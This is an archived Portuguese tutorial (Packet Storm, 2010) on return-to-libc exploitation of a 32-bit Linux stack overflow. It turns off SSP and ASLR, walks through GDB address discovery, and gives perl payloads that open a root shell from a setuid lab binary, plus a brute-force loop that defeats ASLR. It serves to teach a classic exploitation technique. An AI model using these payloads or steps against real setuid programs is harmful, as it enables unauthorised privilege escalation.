ignorance isn't always an option

Retornando para LibC / Ret2libc

Retornando para LibC / Ret2libc
Posted Mar 12, 2010
Authored by m0nad

Whitepaper called Retornando para LibC / Ret2libc. Written in Portuguese.

tags | paper
MD5 | 36ad0ed31040cda16439e4f432cc034f

Retornando para LibC / Ret2libc

Change Mirror Download
Retornando para LibC / Ret2libc

----[ Tema : Retornando para LibC / Ret2libc ]
----[ Autor : m0nad [at] email.com ]
----[ Data : 12/3/2010 ]
----[ Versão : 1.0 ]


--Índice

- Apresentação
- Pré-requisitos
- Introdução
- Desabilitando Proteções
- O Código Vulnerável
- Utilizando o GDB
- Utilizando a função getenv
- A Exploração
- Conclusão
- Referencias
- Agradecimentos



- Apresentação

Eu sou m0nad, do grupo BugSec ( http://code.google.com/p/bugsec/ ) e integrante do botecounix
( www.botecounix.com.br ), visitem la que tem muita coisa boa.
Estou aqui para demonstrar a técnica clássica de return to libc , ou retornar para libc, existem
outras maneiras de se executar esta técnica, mas aqui só abrangeremos o básico.


- Pré-requisitos

Bem, espero que você saiba programar em C, e já tenha se aventurado com os buffer overflows,
um conhecimento de assembly e de arquitetura/organização de computadores básico ajudaria,
precisamos também de um Linux 32bits, assim como o gcc e gdb.


- Introdução

A técnica tradicional de exploração de stack-based overflows, consiste em executarmos o
shellcode que colocamos na pilha, mas se a pilha não for executável não adiantaria nada
pularmos para o shellcode que esta la, pois o este não seria executado, isso é chamado
de NX bit(Non eXecute) ( http://en.wikipedia.org/wiki/NX_bit ), bem com ret2libc é possível
a exploração, pois não utilizamos shellcode, outra vantagem, é quando o buffer é muito
pequeno para colocarmos o nosso shellcode.
Ret2libc, também chamado de Arc Injection é um método de se passar por essa proteção, é
de certa forma parecida com outros stack-based overflows, vamos setar o endereço de retorno,
para onde nos quisermos.
A ideia da técnica e substituir o endereço de retorno para a biblioteca compartilhada libc,
geralmente para função 'system()' ( que só precisa de um argumento ) para executar um comando
arbitrário.
Mas primeiro vou falar de 2 questões, a maioria usa distribuições Linux modernas que vem com
outros tipos de proteção, estou falando do SSP ( smash-the-stack-protection ) mas também
chamado de ProPolice, e com ASLR (Address Space Layout Randomization), precisamos desabilitar
essas proteções para ter sucesso na técnica, mas, no final também ensino a burlar uma delas ;).


- Desabilitando Proteções

Para desabilitar o SSP, quando for compilar seu código vulnerável, basta acrescentar a tag
-fno-stack-protector.

ex:
$gcc vuln.c -o vuln -fno-stack-protector

Para desabilitar o ASLR, basta digitar, como root:

# echo 0 > /proc/sys/kernel/randomize_va_space


- O Código Vulnerável

Pronto, agora já estamos prontos para começarmos, compile o código vulnerável abaixo,
como eu mostrei acima.

------------code---------------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char **argv)
{
char buffer[4];
if (argc != 2) {
puts ("sem argumentos");
exit (1);
}

strcpy(buffer, argv[1]);
}

------------code---------------

Vamos 'verificar' se ele esta vulnerável.

$ ./vuln `perl -e 'print "A" x 16'`
Falha de segmentação


- Utilizando o GDB

Percebemos a falha, vamos olhar no gdb o que esta acontecendo.

$ gdb vuln
GNU gdb (GDB) ...
...
(gdb) r `perl -e 'print "A" x 16'`
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16'`

Program received signal SIGSEGV, Segmentation fault.
0xb7eb7286 in _setjmp () from /lib/tls/i686/cmov/libc.so.6

Hmm, parece que ainda não sobrescrevemos o eip, apesar do erro, devo apenas ter corrompido
apenas o ebp, vamos ver.

(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x414140fd 1094795517
ebx 0xb7fcdff4 -1208164364
esp 0xbffff44c 0xbffff44c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7eb7286 0xb7eb7286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


Veja, ebp 0x41414141, o ebp foi totalmente sobrescrito, mas o eip parece estar intacto
vamos colocar mais 4 bytes, e ver se pegamos o eip.

(gdb) r `perl -e 'print "A" x 16 . "BBBB" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16 . "BBBB" '`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Perfeito, o eip todo sobrescrito por letras "B's" , agora que vem a técnica do ret2libc, vamos
ver qual o endereço da função system, para colocarmos no lugar do retaddr.

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln ]

Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x80483a0 <system@plt>


Outra maneira de se descobrir, e adicionando essa linha ao código
--
printf ("system() = %p\n", system);
--
$ ./vuln asdf
system() = 0x80483a0

Pronto, já temos o endereço, mas e os argumentos, como vamos coloca-los? bem meu amigo, como
você já deve saber, a pilha alem de guardar o endereço de retorno de uma função, também guarda
parâmetros para funções, alem de outras coisas como as próprias variáveis, que estamos
transbordando aqui, quando uma função vai ser chamada, algo que no C seria algo como
system("/bin/sh"); por exemplo, para explanar a nossa shell, no assembly, ficaria algo como
abaixo.

push $endereço de /bin/sh
call $endereco de system

Quando a função call, é chamada, ela executa um push, ou seja, coloca na pilha, o endereço da
próxima instrução (endereço contido no program counter ou contador de instrução) e da um jump
para o código da função, no caso da função system().

Bem, dito isso, sabemos que acima do endereço da função system, que vamos colocar no lugar do
endereço de retorno, colocaremos um endereço de retorno para a função system, podendo ser qualquer
coisa com 4 bytes, pois ele só vai executar depois que sairmos de nossa shell, no caso vamos usar
o endereço da syscall exit, e depois o endereço da string /bin/sh, ficando assim:

[ lixo ] [ end. system ] [ end. exit ] [ end. /bin/sh ]

Para capturarmos o endereço de exit(mas caso você não se importe que o programa crashe, depois
que você sair da shell, pode colocar 4 bytes quaisquer), vamos fazer da mesma maneira que a system.
.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) p exit
$1 = {<text variable, no debug info>} 0x80483f0 <exit@plt>


Com a string /bin/sh, vamos exporta-la na shell, e ver 2 maneiras de se achar o endereço da mesma.

$ export TEST="/bin/sh"

Mas acontece, que assim precisamos acertar o endereço exato. do começo da string e muitas vezes,
ele "anda" um pouco, ou seja ele muda um pouco, então é mais fácil se fizermos algo como abaixo.

$ export TEST=" /bin/sh"


Para pegarmos o endereço usando o gdb.

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/m0nad/vuln

Breakpoint 1, 0x080484b7 in main ()
(gdb) x/2000s $esp


Vão aparecer muitos endereços, com muita coisa, você dever ir dando <enter>, e geralmente no
final, estará assim:

0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"

(gdb) x/s 0xbffffdff
0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff+10
0xbffffe09: ' ' <repete 46 vezes>, "/bin/sh"

Nesse caso, usaremos o endereço 0xbffffe09.

- Utilizando a função getenv

A outra maneira de se achar o endereço e usar o getenv() do C, veja o código exemplo

------------code---------------

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char **argv)
{
char *path;
if (argc < 2 ) {
puts("Sem argumentos");
exit(1);
}
path = getenv (argv[1]);
if (path!=NULL)
printf ("O endereço e': %p\Seu conteúdo e': %s\n", path, path);
return 0;
}

------------code---------------

$ ./getenv TEST
O endereço e': 0xbffffdf5
Seu conteúdo e': /bin/sh


Pronto, já temos os endereços que precisamos.

system 0x80483a0
exit 0x80483f0
/bin/sh 0xbffffdf5


- A Exploração

Vamos a exploração, primeiro colocamos como suid root, para ficar mais legal :) como root faça:

# chown root vuln
# chmod +s vuln

Agora vamos exploita-lo.

$ ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xf5\xfd\xff\xbf"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
#

Sucesso! pegamos o root :) , perceba que colocamos os endereços em ordem reversa por causa
do little endian, como na exploração de overflows normal.


- Burlando ASLR

Vamos ativar o ASLR agora
# echo 2 > /proc/sys/kernel/randomize_va_space

O endereço da função system não muda, mas a variável exportada muda, veja:
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfaeddff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfe78dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfdc0dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfb6bdff
Seu conteúdo e': /bin/sh

Mas percebemos que o começo do endereço (bf) e o final (dff) isso deixa 3 nibbles para serem
aleatórios, bem o que vamos fazer, é um bruteforce, vamos tentar um dos endereços muitas vezes,
até que caia no nosso endereço, para fazer isso eh muito simples, vou utilizar o endereço
0xbfb6bdff como exemplo:

$ while true;do ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xff\xbd\xf6\xbf"'`;done
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)

Sucesso! o looping infinito faz com que tente todas as possibilidades dos 3 nibbles voltando
alguma hora, para o nosso endereço.
Essa técnica, pode demorar um pouco, mas funciona, o problema dela é na exploração remota, pois
na primeira tentativa o daemon seria derrubado, mas na exploração local funciona bem.


- Conclusão

Mesmo com NX-bit, um buffer pequeno, ainda sim é possível explorar o código com este tipo de técnica.
Até mesmo com ASLR, conseguimos pegar o root, apesar de dificultar a exploração remota.
Acredito que o melhor jeito é ainda escrever um bom código.


- Referencias

Return-to-libc attack - Wiki
http://en.wikipedia.org/wiki/Return-to-libc_attack

Arc injection / Return to libc
http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/arc_injection/arc_injection.html

Bypassing non-executable-stack during exploitation using return-to-libc
http://www.exploit-db.com/papers/31


- Agradecimentos

Agradeço aos meus amigos do bugsec e do botecounix, Cooler_, _MLK_ e I4K.
Agradeço ao IP_FIX, que está sempre me ajudando, e ao 0ut0fbound que conheci a pouco
e tem me ajudado bastante.


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2010 Packet Storm. All rights reserved.

Packet Apparel
Packet Storm Gear
close